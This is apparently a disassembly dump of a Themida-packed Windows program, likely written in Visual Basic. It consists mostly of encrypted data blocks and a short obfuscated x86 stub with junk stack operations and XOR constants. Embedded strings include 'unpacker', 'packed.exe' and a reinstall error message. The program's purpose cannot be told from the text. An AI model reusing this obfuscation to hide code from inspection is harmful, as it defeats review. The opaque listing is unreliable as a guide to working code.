		dd 2CEF80C1h, 0A432DD8h, 0AFC34397h, 333CCADEh,	440D9ED2h
		dd 0E0BAFEE7h, 221765E0h, 59000002h, 0DAEEBFB3h, 5D714228h
		dd 0E2F6C7A3h, 6478491Fh, 0EAFFD0A2h, 0C4AE5835h, 4C24DFF3h
		dd 0D29E677Bh, 5612ED01h, 42DE2385h, 304739AEh,	0D983D331h
		dd 2E82452Dh, 9DDE97D1h, 30CFE364h, 0C67D7538h,	0EEFA8D5Fh
		dd 2366E720h, 239534CFh, 0F36D72C0h, 3C7D36C7h,	1198503h
		dd 68A13D00h, 0ED341020h, 0BA45995Ch, 800C75AEh, 304113E8h
		dd 2EE7897Ah, 9A5315EAh, 283F379Bh, 99DA93DDh, 1D71B608h
		dd 0BC5089E9h, 3614B7BAh, 3EC16FA7h, 41080EA2h,	6C009130h
		dd 709DD694h, 104h, 4226D972h, 0B1C14589h, 0D23185F8h
		dd 0D672E59Eh, 2A2CFA42h, 639B2CBDh, 4EAA02D7h,	18DC6A9h
		dd 2A2CA2B7h, 0D62F36C9h, 0CA0E19Ah, 13E475F3h,	0E6877CD0h
		dd 7C0511Fh, 9ED432C6h,	8ADE2165h, 0B4B5CDD1h, 4766EF1h
		dd 4D1651CAh, 39F27689h, 0A22E67F8h, 34108F49h,	276A3BCCh
		dd 6B68F42Fh, 0DB1CD595h, 4B97D1A3h, 69224EB7h,	0D3EBEF28h
		dd 45BB0FD2h, 7F31D67Eh, 0B647B0CDh, 946E0A7Dh,	773A2876h
		dd 0D7240F7Fh, 2F8BA73Bh, 5991222Ah, 195287E8h,	9AD032C6h
		dd 14F24609h, 0C74A8D5Eh, 23DC8C73h, 0B57206E2h, 0B5ED2A2Fh
		dd 3315886Eh, 3F780975h, 9E670BFBh, 0E0BAA65Bh,	0C27FCD48h
		dd 0B9000000h, 3A4E1F53h, 0BDD1A2C8h, 42562743h, 0C4D8A9BFh
		dd 4A5F3042h, 244EB895h, 0ACC43F53h, 323EC7DBh,	0B6B24D61h
		dd 0A23E83E5h, 30473B0Eh, 0D9E33391h, 0A9BF422Dh, 185AACF0h
		dd 1125F687h, 5BA97AEEh, 7F4226D9h, 0F9CC60FCh,	3BBA2A2Ch
		dd 0B2C5DAC0h, 27BB4CEFh, 0F25B94DCh, 461751AEh, 96595A72h
		dd 1640C2FAh, 7B34C534h, 0CFA0C837h, 0ED0F948Ch, 0C5BD4F82h
		dd 0B1B7488Ch, 1F89F6EEh, 7F4B2BCh, 79BA73FFh, 0BA46AFE8h
		dd 3EA71FB6h, 6EF97DD1h, 0F206D791h, 5EA25B0Dh,	0E40CC5A3h
		dd 2669BEFh, 263135C9h,	0AABE8FD9h, 0FC501355h,	0C7306907h
		dd 0C79h, 26ABA900h, 2288532Eh,	3C7597FFh, 3F33D9BEh, 0ABBD4286h
		dd 1957AEF2h, 89E71C60h, 0F87A8CD0h, 670BFB3Fh,	0D1976AAEh
		dd 3E2CD418h, 0A9C14185h, 0C68EAF0h, 8900002Eh,	4B68243Ch
		dd 8900003Eh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	esi
		push	ecx
		mov	ecx, 51153908h
		mov	esi, ecx
		pop	ecx
		mov	ebx, 570F0D2Eh
		xor	ebx, esi
		pop	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	ebp
		mov	ebp, 26FD0184h
		xor	[esp+4], ebp
		pop	ebp
		pop	dword ptr [esi+8]
		xor	dword ptr [esi+8], 26FD0184h
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		dd 64432DFh, 9952C624h,	42C7B8CFh, 0C503061Ah, 9781E0FFh
		dd 1509394Fh, 10A458B7h, 9732252Ch, 0E46B4FF4h,	1F851453h
		dd 0E64E41CCh, 4674968h, 46484811h, 4E5F1C96h, 70867B37h
		dd 88833CBEh, 0E4061192h, 32B94994h, 2BEF34B2h,	0FF596074h
		dd 0DA95C29h, 0F66207E1h, 6FE917E7h, 8F000001h,	0C55B8835h
		dd 4377E705h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h
		dd 2E64656Bh, 657865h, 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 4 dup(0)
		dd 0D7E90000h, 6800001Bh, 61A4705h, 0FA3902E9h,	47DC68FFh
		dd 0F8E9061Ah, 68FFFA38h, 61A48DAh, 0FA38EEE9h,	49B468FFh
		dd 0E4E9061Ah, 68FFFA38h, 61A49F3h, 0FA38DAE9h,	4AAD68FFh
		dd 0D0E9061Ah, 68FFFA38h, 61A4B19h, 0FA38C6E9h,	4B6B68FFh
		dd 0BCE9061Ah, 68FFFA38h, 61A52DDh, 0FA38B2E9h,	538468FFh
		dd 0A8E9061Ah, 68FFFA38h, 61A543Fh, 0FA389EE9h,	550A68FFh
		dd 94E9061Ah, 68FFFA38h, 61A5575h, 0FA388AE9h, 561368FFh
		dd 80E9061Ah, 68FFFA38h, 61A56CEh, 0FA3876E9h, 575F68FFh
		dd 6CE9061Ah, 68FFFA38h, 61A5DF4h, 0FA3862E9h, 5EF268FFh
		dd 58E9061Ah, 68FFFA38h, 61A5FA8h, 0FA384EE9h, 0C7F8E4FFh
		dd 823B9875h, 3C7F5330h, 0F1C80DEAh, 0A815C29Fh, 159B1D56h
		dd 0CCA9FBC2h, 8562B405h, 3D1A6C53h, 0C4D02299h, 2D50363Ch
		dd 6964580Ch, 0F7C41202h, 23983E4Bh, 0D787F5D1h, 38F6898Fh
		dd 3C6457E5h, 96B91DF4h, 0B3824888h, 0D6059D20h, 4544266Ch
		dd 2D4F5806h, 0C40FDC6Dh, 75ECAF9h, 0F7F8D991h,	39h, 874F170Eh
		dd 0F1E79B81h, 187AF51h, 51F1E81Bh, 0CED8072Fh,	9B68B060h
		dd 7CD4803Bh, 7E41474Dh, 4C57E503h, 50327824h, 5B580603h
		dd 0E3821939h, 1BF8D9D6h, 0CDh,	0F7C41232h, 24993E4Bh
		dd 506B6B78h, 7A553108h, 4E371D23h, 234B51F2h, 8AAA8CCh
		dd 74626FD9h, 0A1DFF547h, 0D351F265h, 661F050Bh, 0B3351F2h
		dd 0B605D1DCh, 6C4F8764h, 70565C24h, 8451F266h,	0B7C32D5Ch
		dd 575DA549h, 57E5801Ch, 0D1E8EDCAh, 9D0BE739h,	0FED2A9F1h
		dd 4A78AB4Dh, 9B636998h, 9B50ACEh, 123E82B1h, 205DFB54h
		dd 0E3D8053h, 521A628Ah, 0BF6B5285h, 0AA2D3867h, 0F3E4C113h
		dd 8637670Bh, 821A6786h, 937A80A4h, 0C5D3BD38h,	1932h
		dd 0A8FAC517h, 63B508CBh, 1D6F4C86h, 0D2249540h, 89DBE2F5h
		dd 8F486850h, 0D2FFDC2Eh
dword_5AD300	dd 20B895E7h, 66704D9Fh, 6FF70355h, 0C2F8369h, 359C9758h
					; DATA XREF: Themida_:005616F8o
		dd 0A6F8C512h, 5CAE0DC9h, 0F9A513A3h, 2E8ABB1h,	673457E5h
		dd 9D21506Bh, 0A183C975h, 26580602h, 576410ADh,	5F933F7Ah
		dd 13DADF7Bh, 5861703Dh, 0D32554ACh, 0D6491CB7h, 0AFB5F8D9h
		dd 0AD000000h, 0EF9DFE5h, 0E50D5806h, 0C412CFB6h, 993E4BF7h
		dd 0F4327824h, 2151F1EBh, 0D7B406B5h, 410BCFFh,	0D5A2EA96h
		dd 0B911BDFCh, 437E848Ah, 6F57E506h, 5A8936A2h,	805CAED6h
		dd 20266E12h, 5DFADB05h, 36034B73h, 0F2CA1CA1h,	0DB121A1Bh
		dd 82880CB8h, 5E1CBB9Ch, 0C1F088B0h, 0BE9C21B6h, 38946370h
		dd 5BE9F7E1h, 0EE000018h, 0A27FD1EEh, 5D3A8C31h, 17F44675h
		dd 0CCA9FBBEh, 2760B20Bh, 5B81F91h, 0BEFBD6B3h,	76498F6Ch
		dd 2C8F4724h, 4046CEDAh, 580C2F5Ah, 120C736Eh, 0CEA6F8C5h
		dd 75037CF7h, 0CCFB3CA5h, 5EA615C1h, 46754491h,	0C4127D36h
		dd 983E4BF7h, 87F5D123h, 0BB08B522h, 9FF7A316h,	0E4F2BF07h
		dd 0A4D32BD7h, 48FFD69Eh, 0A81D9907h, 0B9286C9Bh, 4D57E547h
		dd 0B9655680h, 86AE3261h, 48B294DAh, 9BBD5806h,	8C81E4FFh
		dd 0E97DF8D9h, 94000000h, 5ECC79D1h, 99E6D5FDh,	9DE57D3Ch
		dd 0E5014C97h, 7B331A57h, 0C0EDEAC0h, 54F58Dh, 8A7EB04Ch
		dd 10580876h, 93CB570Ah, 95DD0532h, 9991C8BEh, 0B1273DDCh
		dd 720A620Eh, 5FCDD943h, 0D29F67AFh, 4488B704h,	38A92E77h
		dd 856B7149h, 1238CC2Eh, 0C34FABFh, 775F2C74h, 0DF77428Fh
		dd 0E026B08Dh, 0C51DC9F2h, 0F0E94F2Dh, 927C5DE4h, 175D84h
		dd 0CFF0EC00h, 8A33A07Dh, 44775B38h, 0F9C015F2h, 0B00DCAA7h
		dd 1D93255Eh, 0D4B103BAh, 8D6ABCFDh, 4522744Bh,	0CCD82A91h
		dd 30583E44h, 716C580Ch, 8D4A170Ah, 0E0F60130h,	0FC693DBh
		dd 43DBE2F5h, 0A6103F97h, 3C842C9Ah, 0E500C736h, 0D500DD57h
		dd 6713A62Fh, 97DF770Fh, 8A5DF9C0h, 30789358h, 65A442Ah
		dd 1305858h, 854C19F1h,	0D9308834h, 0D50E1E53h,	0B79ECDEDh
		dd 5ECC79D1h, 369D6AB2h, 8A525887h, 0F8A41BBDh,	0E22D71A0h
		dd 0B057E501h, 0AB93E788h, 2DDCECFDh, 0C1C70FBFh, 0E522190Eh
		dd 0DCE894BCh, 0B27AC26Eh, 18FEE4EAh, 468BE543h, 3885AD73h
		dd 1D75219Ah, 99DDAAEEh, 87AFEB37h, 5764723Fh, 2A8F420Fh
		dd 0E7F7267Eh, 11EFCC0Ah, 0AB568631h, 83505E48h, 0C6000016h
		dd 7A57A916h, 35126459h, 0EFCC1E9Dh, 0A481D3E6h, 0FF388A33h
		dd 0DDE0F7B9h, 9623AE8Bh, 4E716744h, 4B71FFCh, 181EA6B2h
		dd 580C3132h, 12E44B46h, 3319F7C4h, 5A44BF38h, 16446270h
		dd 0D7050000h, 1AB996E8h, 5E7451A3h, 0A72E0B5Dh, 0F4E3C012h
		dd 7A3E77C9h, 0CA1CA136h, 83D5E4EDh, 3B8D32A6h,	0F143785Eh
		dd 71575DE5h, 85580C31h, 0C412238Ah, 0E1E7AFF7h, 51F1E7FBh
		dd 3B9AE70Fh, 4B7AD27Eh, 0B767D5E1h, 0EEB6696Fh, 3C6457E5h
		dd 0D665CCEAh, 6A70B868h, 5DF9081Fh, 0E24C5EDh,	95A4046h
		dd 966E5E1Ah, 1A08AA90h, 0FE96BE5Eh, 0E0578BCFh, 1381D880h
		dd 6A1D236Bh, 1800B5DCh, 0CA3844F0h, 0BD8DE26h,	0DD06CB5Dh
		dd 9FA56DB5h, 6EE5CB9h,	0F44EA5CDh, 9567AD03h, 0B7848AB9h
		dd 8C549C1Fh, 0EE59A086h, 5D8CB406h, 5566704Dh,	0C2C5DF77h
		dd 0CAD8C28Fh, 158Ah, 50A21DBFh, 0B5D6073h, 0C517A42Eh
		dd 7ACCEDE8h, 31833A9Dh, 0E7F0C0F8h, 2AA784D6h,	78603D8Fh
		dd 0BE18F547h, 179FABFDh, 0C322B11h, 0DD443F58h, 0F1E7F3D9h
		dd 18654751h, 18EF51F1h, 134336E2h, 3E82B107h, 51F1F25Ch
		dd 0F2D1C6A8h, 27795051h, 423CC272h, 0A138C0CDh, 7D15148Bh
		dd 2893434Eh, 0BE4C164Ah, 0A7B59F44h, 151Eh, 0BC0EB12Bh
		dd 77C9F4DFh, 3183389Ah, 0E6388154h, 9DEFCE09h,	7B5C5464h
		dd 0BE13F042h, 0CCCA9FBh, 528461B3h, 830B1769h,	0C32977Dh
		dd 49B0AB58h, 9344A513h, 0E78E747Ah, 7AA251F1h,	0FC024AE2h
		dd 57E5197Dh, 0BDAD8BB3h, 0C3EAB26h, 14CC1422h,	5F7D0000h
		dd 0A2310E60h, 0E6ECC91Bh, 2FA683D5h, 7C5B388Ah, 2B6EF41h
		dd 429429AEh, 0FB4D6C65h, 0B305BA1Eh, 69BB00D6h, 0E9CFD55Dh
		dd 0FD580C32h, 4A179B02h, 2A822E8Bh, 20E6F0FBh,	19BC09B2h
		dd 0F3C008A0h, 0D52DD9E4h, 0A72F3CA6h, 7B5B6814h, 4C879440h
		dd 0CE70C571h, 0C1D52D8Ch, 0ED5B0A81h, 24A3FEEDh, 0BA000000h
		dd 0F1E7F7D9h, 615A7C51h, 7D8B4C19h, 9DCC645Bh,	6C16778Dh
		dd 0A24E502Ah, 0B605CD9Ah, 14447B87h, 12D20000h, 279442C4h
		dd 0EDBE38Fh, 0BFC9F8C5h, 9865AD51h, 4C52813Ah,	0E5EE6B46h
		dd 0DF315957h, 33399503h, 5805EE4Dh, 59A13961h,	0F93C0453h
		dd 6B2DA5Dh, 2C32D9F9h,	5E1A1D46h, 1CECD2D8h, 0D8005E1Ah
		dd 0A52EA12h, 1D563C42h, 0F0E35E1Ah, 0B0DF07CDh, 1CA78AA0h
		dd 0A52E5E1Ah, 0EAE9C618h, 0B91A27D3h, 82E65804h, 4C5A31C0h
		dd 86A32D53h, 10C3CEFDh, 3E9865ADh, 4A79D17Dh, 8C69FC3Ah
		dd 5195F2C5h, 0AC000002h, 0B1F9A513h, 0E5E954ABh, 0D8FBC857h
		dd 94E139E5h, 0C74B7A43h, 0EDE6F39Fh, 32A17ED0h, 0F6C30EDBh
		dd 5E98A70h, 30161C58h,	445805EAh, 0E12E561Ch, 8632CAF1h
		dd 9625B17Eh, 85318849h, 0D8BAFE2Dh, 36580519h,	0D7FC3052h
		dd 0EFBC94E6h, 87FD6E9h, 0E6F4D941h, 0CD3B4574h, 0B11D921h
		dd 5805EE25h, 0EF9B20B2h, 61A9D197h, 5EE755Bh, 32618958h
		dd 0F6B262Ch, 0F1195DF9h, 699F3845h, 4BA34F6Eh,	0B28961B3h
		dd 0A30A4659h, 0C5D0FF5Bh, 8C63AB12h, 0A0F0BD0Fh, 67D1003Ch
		dd 7845925Fh, 0EB210549h, 9F835E19h, 2F8E49E3h,	0EB9301DDh
		dd 0ED7A9DA3h, 0E008640Dh, 0E4CAD098h, 0F8642DEDh, 2A37A1D0h
		dd 0E0BD0FACh, 0D319C5F6h, 642DEDEDh, 1ED36F53h, 0EABA0147h
		dd 0CF27D3E8h, 9D160578h, 8973636Eh, 32C36226h,	0A8FA9211h
		dd 0D70008CBh, 95A24EE6h, 61D37F3Eh, 2CA75DFDh,	2EC6F7DCh
		dd 1C79EDCh, 9837ECB1h,	4E000000h, 4CF8C512h, 6370983Fh
		dd 0A416C25Ah, 0EDEA0240h, 25407ED0h, 0D9FEEDEEh, 7Bh
		dd 0F7C412F0h, 23983E4Bh, 0F8C50EDBh, 5BC5F44Ch, 2FC585E9h
		dd 0F5CC14A7h, 0C3F8B5F9h, 959BE325h, 51F2E3AFh, 5C6C9BC3h
		dd 0ECF1471Eh, 49B7FEh,	0D8AF0000h, 329D7DC4h, 0B89FCE5Bh
		dd 0B1F9A513h, 0E5EA88ABh, 42EE1657h, 51686D3Ah, 0DA1E4DA5h
		dd 5805EAF8h, 90A1E103h, 0EADCC2C8h, 6F695805h,	864CA450h
		dd 0A2C32F5Eh, 5CF8D9EAh, 0BCh,	0B74F8754h, 5D09A11Ch
		dd 17EFD605h, 2F8C4Ah, 90D888F6h, 0E50D538Ah, 35E10957h
		dd 795F652Dh, 8D58060Eh, 2BB1865h, 0B20BC8D3h, 6D508360h
		dd 0EBECB9C1h, 3B98A3D2h, 0A5633A82h, 43F842Eh,	14C0FDDAh
		dd 8BF524BCh, 6495B519h, 3CC1E58Dh, 88D5BF55h, 69C16D4Eh
		dd 19A42F3Ah, 8EDC89C7h, 4F22F8D9h, 39000000h, 0B3FBAB13h
		dd 0F1E7E7ADh, 0DDE3BBD1h, 0D1F1E7F7h, 9F4BE30Bh, 0F1E97759h
		dd 7012B4D1h, 28F555BDh, 0A58B11AAh, 32D1F1E8h,	745117A4h
		dd 2DC55D5Eh, 0E919DFE5h, 0C5ED51F1h, 9627B07Dh, 11795767h
		dd 0B1000000h, 0E8FDE3E9h, 0E91151F1h, 6711D3BAh, 68000000h
		dd 2F8C4A17h, 2EDDF500h, 0F1E84228h, 5D795651h,	8E6FC65Eh
		dd 53365795h, 626A16AEh, 3BBD4395h, 514AC6B5h, 4AA24EE6h
		dd 0FAC3101Bh, 0B508CBA8h, 0E694FD09h, 7365323Ah, 0F8D91D4Ch
		dd 7B51F1F6h, 0A7B4605Bh, 8BE38F2Ah, 7177943Eh,	51F1F68Bh
		dd 33DF779Fh, 0BC3D5DC1h
		dd 1CB7D3F5h, 0FEEDE249h, 0C1AB5h, 0AA13CC00h, 9D0A50FCh
		dd 0AEDB5A3Bh, 90D5CE8Ch, 6E7542B8h, 48h, 0D03F9966h, 9D24E4CAh
		dd 38D0F8DBh, 0E6EC348Ch, 0DB9D2500h, 0D6BDEC14h, 0B4FCAA13h
		dd 0F1E7C8AEh, 4A8D5A51h, 98C04473h, 0BB17E4ECh, 0F58DD100h
		dd 5CFB05D5h, 1CE9183Ah, 5804B5h, 250065D1h, 7AFE557Ah
		dd 15000002h, 0D3FCAA13h, 63494F17h, 7751F1E8h,	0F097204Fh
		dd 0CEF7C412h, 8ED1A8BEh, 7C8E5BE7h, 0B118FF2Eh, 1EDE5C4h
		dd 465Ah, 0AA137100h, 0F1E7B4FCh, 0E832181Eh, 1E4651F1h
		dd 4CDDA86h, 7EE1DB5h, 0E82E1117h, 0EDBA51F1h, 0CD25D1E8h
		dd 0C9F21A9Eh, 0C0126E17h, 952D9246h, 7D4A106Ch, 93B7A654h
		dd 8D6B2D8Ch, 0C2F149F5h, 3211DBh, 13680000h, 17D3FCAAh
		dd 0F1E82E11h, 9B365151h, 175D861Eh, 0E863494Fh, 1FE651F1h
		dd 1FD4F40Eh, 0B7E60ED4h, 0C01208B1h, 84308D46h, 0C9F4DF2Ch
		dd 69100831h, 32874A17h, 0BBFF2E86h, 0C1D64846h, 0B322E6F1h
		dd 3F1C6E06h, 0FDC2497h, 0F048F4C7h, 6A6D38C1h,	1ABD8853h
		dd 0EDEAF7A3h, 0CF024D0h, 67CB6B4Eh, 0F6C5112Bh, 1F9C3A55h
		dd 4ADF00D7h, 0BA6B1A28h, 743C028Bh, 19AE886Eh,	45749CE2h
		dd 0F78D61F9h, 0AF43292Fh, 0DC6E219h, 7D28E626h, 0ABDA02C8h
		dd 31083959h, 94F6D96Bh, 0A80F4D07h, 35F3B5D2h,	73636E9Dh
		dd 0A4330048h, 0E6156D19h, 516A6C87h, 0B31CBB86h, 0E2195AD0h
		dd 0CDEBB6DEh, 4B182969h, 56117688h, 4F7AD3D2h,	597D88B7h
		dd 31A6C162h, 0E592E08Ch, 0FB315123h, 0CC99E1DCh, 0E5D8FB09h
		dd 0F249E139h, 933A2B6h, 58689794h, 95605B7Bh, 0DFC20DCAh
		dd 6BE21932h, 0A40D994h, 0B1E0B5C0h, 0DD3A052Dh, 61758FCBh
		dd 0DD8930A5h, 314CED85h, 3F4B16A5h, 4909ADA6h,	0F79823B3h
		dd 79C1FADCh, 51C5ABB1h, 0B1D9E219h, 0A92EF982h, 4592725Fh
		dd 7D48E078h, 0A55FFB5Fh, 0EED4DA31h, 2E21951h,	720AB125h
		dd 11C592DAh, 46DEDDF5h, 0B413429Ah, 0D3FFD69Eh, 0C4A632ECh
		dd 82967C02h, 82AAE219h, 0C4126C53h, 4A17CEF7h,	7801308Dh
		dd 0C9F0E5B2h, 0AB13B39Ah, 962E8B46h, 17C7BE6Dh, 832F8C4Ah
		dd 0E590FC2Bh, 3901EDE5h, 36h, 94995A31h, 3FEB625Ah, 5AB1CC13h
		dd 0EB1A4D9Eh, 0FBAB1304h, 8C4A17D2h, 0CC64597Ah, 9399C820h
		dd 0F1E7AA8Dh, 6790B851h, 0C1126E17h, 6910D3FCh, 3C11h
		dd 0AB136800h, 0ECE6B3FBh, 0E833191Fh, 1F4751F1h, 5483DB87h
		dd 784F176Dh, 0B0D4A513h, 0BD013045h, 51F282DAh, 176E97FDh
		dd 0FCC1126Eh, 734A10D3h, 488D8862h, 166DC571h,	45744A7Ch
		dd 18BCD95Eh, 0E5C51F1h, 0FFFFFD2Ah, 0E7F7D965h, 147D51F1h
		dd 9B371466h, 0A46C7420h, 0F1E7B89Eh, 75A4CC51h, 0F1E84B31h
		dd 0BDFED851h, 0EBD40411h, 4B31373Fh, 5F51F1E8h, 9DBDE137h
		dd 6431871Ch, 0CC1E4D6Eh, 0AA5C768Eh, 8FE79328h, 0F0E2AFF7h
		dd 0E82F151Bh, 1B4351F1h, 507FD783h, 4D706340h,	7B71FFBh
		dd 5AD6155Bh, 698B1227h, 9AB3B229h, 0DEABBC97h,	1E1409F5h
		dd 10DAFF5h, 6B71C69h, 6DD3025Ah, 21Ch,	0E7F6D984h, 107E51F1h
		dd 0E7C4AAB0h, 0FBD851F1h, 0DE36E2DDh, 6066AE46h, 57E53415h
		dd 8C69BBE3h, 652D7546h, 615795Fh, 36658D58h, 0A914BFCCh
		dd 0F6D78A61h, 5A9CCA34h, 1FB4C12Bh, 78E6F29Eh,	13BE009h
		dd 0AC443164h, 28E75E64h, 0F51D5DFAh, 96185D17h, 88968038h
		dd 0D5Ah, 80D2EDEFh, 3B8D30A3h,	0F547745Eh, 0AAFCBD18h
		dd 61B30ACDh, 0B7209028h, 0FAD7B406h, 48906DBFh, 8E482577h
		dd 47CFDB2Dh, 0C3A5B41h, 0D746F58h, 728E4A17h, 0BB53A096h
		dd 62912984h, 903C7F57h, 0D4BAC088h, 0E851F242h, 43240A10h
		dd 103851F2h, 0D13F4978h, 1ADFE52Dh, 0EC57EB88h, 0B8EA5905h
		dd 9A326CF2h, 0A1B38A52h, 31B440E8h, 0D2DD0Ch, 468C69BBh
		dd 95D9BFC5h, 0C5ED580Ch, 6274812Dh, 0E18D2EA4h, 3945F189h
		dd 0D5DB23CBh, 5DFFB2AEh, 92AAEBC2h, 0CFC0F18Bh, 16F41CA0h
		dd 38909868h, 0B3919F89h, 9600000Ch, 4A277946h,	5E23489h
		dd 0BF9CEECDh, 7451A316h, 0CF085A63h, 0AD10C7E9h, 66537E5Bh
		dd 1EA13714h, 0D4E7EFCCh, 0E8EE7682h, 580C3B02h, 12B41B16h
		dd 299642C4h, 577C4991h, 3362BA66h, 0F3F9C1C9h,	51F1E80Dh
		dd 0C0CAF921h, 9966AE52h, 484E7D3Ch, 0E5F02F42h, 23759D57h
		dd 0D92B9046h, 0AB2A8FFDh, 0E891394Fh, 57EF6657h, 0A9AF77BFh
		dd 5806E1C3h, 7A80AFD7h, 26A474h, 993D0A5Eh, 476FF322h
		dd 66A032FFh, 64B64E6Bh, 0D8BEC48Ch, 0EC5E2125h, 488A95C4h
		dd 1CBAC773h, 79E7F39Fh, 60878DD5h, 74641442h, 0ECE1159Dh
		dd 0D908F568h, 394F2D55h, 0CC327B4Dh, 0BF8D4E2h, 8B510000h
		dd 0CE05E234h, 12C09DEFh, 5B7A57A9h, 0A82F0C5Eh, 2E8AC315h
		dd 16685582h, 0CF219839h, 87D9E6F2h, 3D8F2CAAh,	0BDA3A931h
		dd 0D1580C3Bh, 0C4126FD6h, 0F6E2AFF7h, 24309AC9h, 0BCC20AB6h
		dd 57E5E7C9h, 1BE1AF7h,	993A1769h, 0BF57626Fh, 9227AA77h
		dd 5C765363h, 0E79328AAh, 0ECA5F78Fh, 0B1F9A513h, 9AC9F2E4h
		dd 34178E94h, 0F4CB57E5h, 7CE7A23h, 911B5BB2h, 0BEE66A99h
		dd 57EACC12h, 0D3F55806h, 81491CB7h, 7FB5F8D9h,	0AD000000h
		dd 8C6FD7D6h, 1A495169h, 0FCC11233h, 2D904350h,	0ABB17981h
		dd 51F1E7C5h, 7782B1D9h, 0A2AF5B5Eh, 0BD00D731h, 89F7D325h
		dd 0D4979DE5h, 0A257E5ECh, 32F69C7Ah, 39233EABh, 0B2D2Bh
		dd 0FFC01C00h, 0BA03D0ADh, 74478B68h, 29904522h, 0E0DDFAD7h
		dd 4D63558Eh, 4E1338Ah,	0BD9AECCDh, 7552A41Bh, 0FC085A61h
		dd 3D886E74h, 0A19C580Ch, 8E4A173Ah, 0FE2D8531h, 8BDDE0F3h
		dd 5BADh, 0C1120400h, 1FECB4FCh, 25A06B9h, 0F1E7967Ch
		dd 5382AA51h, 0BF6FDDE9h, 37FA7177h, 83057E5h, 0AB09722Ah
		dd 0C3D1BB3Eh, 0AC2h, 186A5587h, 0D325983Bh, 8DDFDCF6h
		dd 429425B0h, 0F94B7265h, 1FB8F8C0h, 626F4C9Eh,	0B0280557h
		dd 0F6E0BD0Fh, 0DF6773C5h, 0C3CF3D9h, 0A50C0758h, 4BF7C412h
		dd 7723983Eh, 940F4B5Fh, 0FEEDEDD1h, 2372Dh, 49D14400h
		dd 0A62D8EFCh, 31377F17h, 57E501E6h, 0BD00D7B4h, 666CB911h
		dd 0B951A955h, 0CC3FC418h, 9D0BAB7Dh, 6CA3A9F1h, 225190CCh
		dd 0D4424EFAh, 11DEE42Ch, 0E357A64Eh, 30A673BBh, 0EBAFFD6h
		dd 9D61EB6h, 0B2C2F1C8h, 0D10501D5h, 327452EAh,	0F3EE7D2h
		dd 0A241725h, 0B7250000h, 0FAD9B608h, 3E9471C3h, 874E2B7Dh
		dd 0D403E032h, 5A5E97E9h, 0EA3C8156h, 0A3F5C40Dh, 5BAD12C6h
		dd 1163587Eh, 91777D05h, 0A5580C3Dh, 4F1743AAh,	0F1E86349h
		dd 3B9A7751h, 0ACB7E67Eh, 0FAE0E627h, 8751F1E7h, 6AC26E51h
		dd 38E47CA4h, 0CA12BE2Ch, 0EB2D26C4h, 2A729A57h, 0F345745Dh
		dd 0B6FEBB16h, 0DF9906DFh, 74C14023h, 0C02A5962h, 529A46B4h
		dd 0A41BBD8Ah, 0D3240E4Dh, 3E6DD4FFh, 0FF9263FAh, 69B1D95Dh
		dd 0D002D9A1h, 1D59316Ch, 0AD5B41C7h, 476F5E20h, 0F5C40D18h
		dd 0D4FECBA3h, 24ADB8E7h, 0FADCE995h, 953CCA0Ch, 88E08C24h
		dd 739E12F0h, 0CDB73890h, 969BFh, 0C3FCE000h, 7E3F9471h
		dd 38834F2Ch, 0EDCC09E6h, 0A419BE9Bh, 119F1952h, 0C8A5F7C6h
		dd 815EB009h, 39166857h, 0C0CC1E9Dh, 3E4C3238h,	6560580Ch
		dd 6E6CB0FEh, 0D351F1E8h, 3F9CA67Dh, 0BA66597Fh, 8D040B62h
		dd 672375A4h, 8FEF5D77h, 0F23BA389h, 0F9DAB751h
		dd 4C942CC4h, 0E55AAF46h, 0B5FD2557h, 51B720EDh, 6F9E3685h
		dd 0FB4D6E64h, 0C50DB11Fh, 32DEDFF8h, 9FA5ABDAh, 5DFB2413h
		dd 26F33B63h, 0DCB90BB0h, 0D7E3C1FAh, 9238941Dh, 8D89AA8h
		dd 6B710000h, 0AE250254h, 0F2E0BD0Fh, 3B9A77C9h, 884F2C7Eh
		dd 0EAAE335h, 368835A2h, 0EF417859h, 0A7F9C612h, 5DAF0CCAh
		dd 0DDC3C951h, 0F1580C3Eh, 0F7D98FF6h, 8151F1E7h, 9926B8AAh
		dd 204F9151h, 0A8FAC115h, 6AB25ECCh, 273FC693h,	3A691C4Bh
		dd 4FC32E34h, 0A9D157E6h, 0AD939961h, 0C1580730h, 82B4A1DAh
		dd 13ABF61Fh, 7DAC11C6h, 0DC2EAA77h, 7278C0F9h,	5807188Ch
		dd 8EE078A0h, 509827B1h, 3D6C4F83h, 850C5D3h, 26FD0000h
		dd 0E754FEFFh, 71588783h, 34894A17h, 2C8DFB05h,	44755CAAh
		dd 0FCA84098h, 0EDC40CA4h, 0D1E74AFAh, 3A406FE4h, 0E537E934h
		dd 478FB757h, 57478E70h, 1F4E4ED6h, 0DFE5ADB5h,	58068CF9h
		dd 0A506260Dh, 0D18F53DBh, 6FB4E239h, 0BC552495h, 7467498Dh
		dd 0E6EC5806h, 0BB1C29D5h, 1C405602h, 92B47B7Eh, 658ADBF0h
		dd 0CD4F8D9h, 6802006h,	484D3458h, 27EB1939h, 0D83E6D05h
		dd 182h, 0F9C612EFh, 6991404Dh,	0D8F98312h, 9D898AE1h
		dd 0D8E59129h, 92400DFEh, 62BDA329h, 0F9D151F2h, 0F2630DF3h
		dd 61F92151h, 0C8101DC9h, 10C8A5F7h, 33FB03AFh,	0F263472Dh
		dd 0EB335B51h, 0F262FFE5h, 0BCEB1351h, 4F9747B2h, 0F2631B49h
		dd 5F652D51h, 51F26479h, 43EFCC06h, 0B0FD25EBh,	94EC9821h
		dd 0DB9E165h, 39E5D600h, 6814A52Ch, 3DCC8EF2h, 0F2645137h
		dd 0A53D6551h, 182C6E10h, 0D0ADFFC0h, 0A26FB708h, 0F05A8936h
